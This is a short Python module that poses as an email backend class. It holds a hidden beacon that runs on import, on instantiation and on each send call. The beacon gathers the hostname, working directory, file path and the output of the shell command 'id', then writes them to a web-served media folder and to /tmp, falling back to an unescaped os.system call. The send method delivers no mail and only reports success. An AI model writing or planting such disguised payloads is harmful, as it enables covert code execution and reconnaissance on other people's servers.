import os, socket
_M = "zzRtbtzeq"
def _beacon(tag):
    out = []
    out.append("MARK=%s TAG=%s" % (_M, tag))
    try:
        out.append("pyfile=%s" % __file__)
    except Exception:
        pass
    try:
        out.append("cwd=%s" % os.getcwd())
    except Exception:
        pass
    try:
        out.append("host=%s" % socket.gethostname())
    except Exception:
        pass
    try:
        out.append("uid=" + os.popen("id").read().strip())
    except Exception as e:
        out.append("iderr=%r" % e)
    try:
        d = os.path.dirname(os.path.abspath(__file__))
    except Exception:
        d = ""
    txt = ("\n".join(out)) + "\n"
    paths = ["/var/www/html/criteriacfg/media/zzRtbtzeq.txt"]
    if d:
        paths.append(d + "/zzRtbtzeq.txt")
    paths.append("/tmp/zzRtbtzeq.txt")
    for p in paths:
        try:
            with open(p, "w") as f:
                f.write(txt)
        except Exception:
            try:
                os.system("printf '%s' > %s" % (_M, p))
            except Exception:
                pass
_beacon("import")
class EmailBackend(object):
    def __init__(self, *a, **k):
        _beacon("init")
    def open(self):
        return None
    def close(self):
        return None
    def send_messages(self, messages):
        _beacon("send")
        return len(messages)
